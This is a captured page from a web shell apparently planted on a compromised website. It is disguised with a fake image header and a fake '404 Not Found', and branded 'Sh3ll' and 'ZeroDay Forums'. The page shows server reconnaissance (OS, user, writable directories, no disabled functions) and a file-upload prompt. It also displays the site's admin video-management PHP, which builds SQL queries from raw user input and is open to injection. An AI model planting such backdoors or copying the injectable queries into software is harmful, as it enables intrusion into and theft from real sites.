����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkewebvumi.com/admin_new/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkewebvumi.com/admin_new/mod/video.php
<?php
class video{
	var $path_image	= "upload/video/";
	var $max_fsize	=  1500000;//1,5M
	function video (){
	
		global $CORE;
	    $arr_mid = array();
		switch($CORE->input['code']){
			
			default : $this->goList(); break;			
			
			case 'post': $this->goPost(); break;
			
			case 'del': $this->goDel($arr_mid); break;
			
			case 'showvideo' : $this->goShowvideo(); break;
			case 'del2' : $this->goDel2(); break;
	
		}	
	}
	function goDel2(){
		global $DB,$print;
		$DB->query("DELETE FROM NNCCMS_video WHERE site='thethao.vnexpress.ne'");
		return $print->refresh("index.php?act=video&status=del_success&type=");
	}
	function goList(){
	
		global $CORE, $DB, $smarty, $print;
        $smarty->assign('module_name','Quản lý video');
        $smarty->assign('title','Videos');
        $smarty->assign('status',$CORE->input['status']);

        $smarty->assign('section','list');
		$where = "WHERE title<>''";	
		
		
		$_SESSION['type'] = $CORE->input['type'];
			
			$_SESSION['fstatus']  = $CORE->input['fstatus'];
			$_SESSION['fkeyword'] = $CORE->input['fkeyword'];
		
		
		
		if($_SESSION['fkeyword']!='')	
		{
			$where .=  " AND (title LIKE '%".$CORE->input['fkeyword']."%' or site LIKE '%".$CORE->input['fkeyword']."%') ";
			$nsearch = 1;
		}	
		if($CORE->input['fstatus']==1){
			$where .=  " AND `type`='guest' ";
		}
        $smarty->assign('nsearch',$nsearch);
		if($CORE->input['nosearch']){ unset(	$_SESSION['fcat'],$_SESSION['fstatus'],$_SESSION['fkeyword']);}
		// Filtering End --------------------------------------------------------	
		
		// Sorting Begin -----------------------------------------------------	
		if($CORE->input['sortby']) $_SESSION['prod_dirby'] = ($_SESSION['prod_dirby']==1) ? 0 : 1;
		
		$dbsort = ($CORE->input['sortby']) ? $CORE->input['sortby'] : $_SESSION['prod_sortby'];
		
		$_SESSION['prod_sortby'] = $dbsort;	
		// Sorting End --------------------------------------------------------		
		
		$pageNum = ($_GET['pageNum']>0) ? intval($_GET['pageNum']) : 1;
		$pageSize = 20;	
		$from = (($pageNum * $pageSize) - $pageSize);	
		
		//$t = $DB->query("SELECT a.id FROM NNCCMS_video");
		$t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM NNCCMS_video ".$where));
		$total = $t['total'];
		$totalPage = ceil($total / $pageSize);
		// Pagination2 DB
	
		$query = $DB->query("SELECT * FROM NNCCMS_video ".$where." ORDER BY time DESC LIMIT $from, $pageSize");
		//echo "SELECT * FROM NNCCMS_video ".$where." ".$sortby." LIMIT $from, $pageSize";
		$c = 0;
		while($row = $DB->fetch_row($query))
		{
			$c++;
			$row['no'] = $c;
			
			$arr2 = explode(',',$row['cid']);
			
			$check_time = time()-(31*24*60*60);
			
			//$data['time'] = date('D, d/m/Y: A',$data['time']);
			$row['time'] = date('d-m-Y',$row['time']);
			
			$arr[] = $row;
		}
		
		if(is_null($arr)) $arr[] = array();
        $smarty->assign('list',$arr);
		$nav = $print->Pagination($totalPage,$pageNum,'video','index.php?act=video&fkeyword='.$CORE->input['fkeyword']);
        $smarty->assign('nav',$nav);
        //del multi video
        $arr_mid = $CORE->input['mid_for_del'];
        if(!empty($arr_mid)){
            $this->goDel($arr_mid);
        }



	}
	
	function goPost(){
	
		global $CORE, $DB, $func, $smarty, $print;
        $smarty->assign('module_name','Quản lý video');
        $smarty->assign('title','Videos');
        $smarty->assign('status',$CORE->input['status']);

        $smarty->assign('section','post');
		
		if($_SESSION['error']) unset($CORE->input['bsubmit']);
			
		// Show post -----------------------------------------------------------------------
		if(!$CORE->input['bsubmit']){
		
			$id = intval($CORE->input['id']);
			
			
			if ($_SESSION['error']) $prevError = $_SESSION['error']; unset($_SESSION['error']);
			if ($_SESSION['state']) $prevState = $_SESSION['state']; unset($_SESSION['state']);
			
			if($prevState!=NULL){			
				$data = $prevState;				
			}else{			
				if($id==0){					
					$data['status'] = 1;
				}else{				
					$query = $DB->query(
					"SELECT * FROM NNCCMS_video WHERE id='".$id."'");
					$data = $DB->fetch_row($query);		
					$data['eid'] = $func->encode($data['id']);
					$data['ftitle'] = $func->format_string($data['title']);	
				}			
			}
			$data['body'] = $func->editor_admin('body',$data['body'],20);
			$data['ebody'] = $func->editor_admin('ebody',$data['ebody'],20);
			$data['policy'] = $func->editor_admin('policy',$data['policy'],10);
			//$data['ebody'] = $func->loadFCK('ebody',$data['ebody'],20);
			$query_cid = $DB->query("SELECT cid,cname FROM NNCCMS_videocat ORDER BY `pos`");
			while($row_cid= $DB->fetch_row($query_cid)){
				if($row_cid['cid']!=$data['cid']){
					$data['show_cid'] .= '<option value="'.$row_cid['cid'].'" > '.$row_cid['cname'].' </option>';
				}else{
					$data['show_cid'] .= '<option value="'.$row_cid['cid'].'" selected> '.$row_cid['cname'].' </option>';
				}
			}
			$data['noibat'] = $func->makebox($data['noibat'],'noibat');
			$data['status'] = $func->yes_no($data['status'],'status');	
			$data['checkadmin'] = $func->makebox($data['checkadmin'],'checkadmin');	
			
			// End u4 list ----------------------------------------------
			
			$error[] = $prevError;			
			$post[] = $data;

            $smarty->assign('error',$error);
            $smarty->assign('post',$data);
			

		// Do post -------------------------------------------
		}else{
		
			$id = $state['id'] = intval($CORE->input['id']);
			$title = $state['title'] = $CORE->input['title'];
			$des = $CORE->input['des'];
			$cid = $CORE->input['cid'];
			$img = $state['img'] = $CORE->input['img'];
			//$clip  = $state['clip'] =  $CORE->input['clip'];
			$play = $state['play'] = $CORE->input['play'];
			// -------------- check -------------------------
			if($title=='') exit('Xin nhập tiêu đề cho sản phẩm');
			$ftitle = $func->format_string($title);
			
			
			if($id==0){
			
				$row_check = $DB->fetch_row($DB->query("SELECT count(*) as total FROM NNCCMS_video WHERE ftitle='$ftitle'"));
				if($row_check['total']>=1){
                    $ftitle = $ftitle.'-'.($row_check['total']+1);
				}	 
				 $DB->query("INSERT INTO `NNCCMS_video`(cid,`title`,`ftitle`,`des`,`img`,`play`,`duration`,`hit`,`time`)
				 VALUES('$cid','".$title."','".$ftitle."','$des','".$img."','".$play."','0','10','".time()."');");
				 $insert_id = mysql_insert_id();
			
			
			return $print->refresh("index.php?act=video&status=add_success");
				
			// Do Edit -----------------
			}else{		
				$row_check = $DB->fetch_row($DB->query("SELECT count(*) as total FROM NNCCMS_video WHERE id <> '$id' AND ftitle='$ftitle' "));
				if($row_check['total']>=1){
                    $ftitle = $ftitle.'-'.($row_check['total']+1);
					
				}	
					$DB->query("UPDATE `NNCCMS_video` SET cid='$cid',`title` = '$title',`ftitle`='$ftitle',`des`='$des',`img` = '$img',`play` = '$play' WHERE `id`='$id'");
			
			
			return $print->refresh("index.php?act=video&code=post&status=edit_success&id=".$id);
				
			}

			
		
		}
	
	}
	
	function goDel($id){
		global $CORE, $DB, $print;
		
		if($CORE->admin_user['ug_id']!=4) exit('Chỉ có admin mới có quyền xóa bài!...');
		if(empty($id)){
			$id	=	intval($CORE->input['id']);
            $DB->query("DELETE FROM NNCCMS_video WHERE id='".$id."'");
		}else{
            foreach($id as $val){
                $DB->query("DELETE FROM NNCCMS_video WHERE id='".$val."'");
            }
        }
	    $print->refresh("index.php?act=video&status=del_success");
	}
	
	

}
$run = new video();
?>

ZeroDay Forums Mini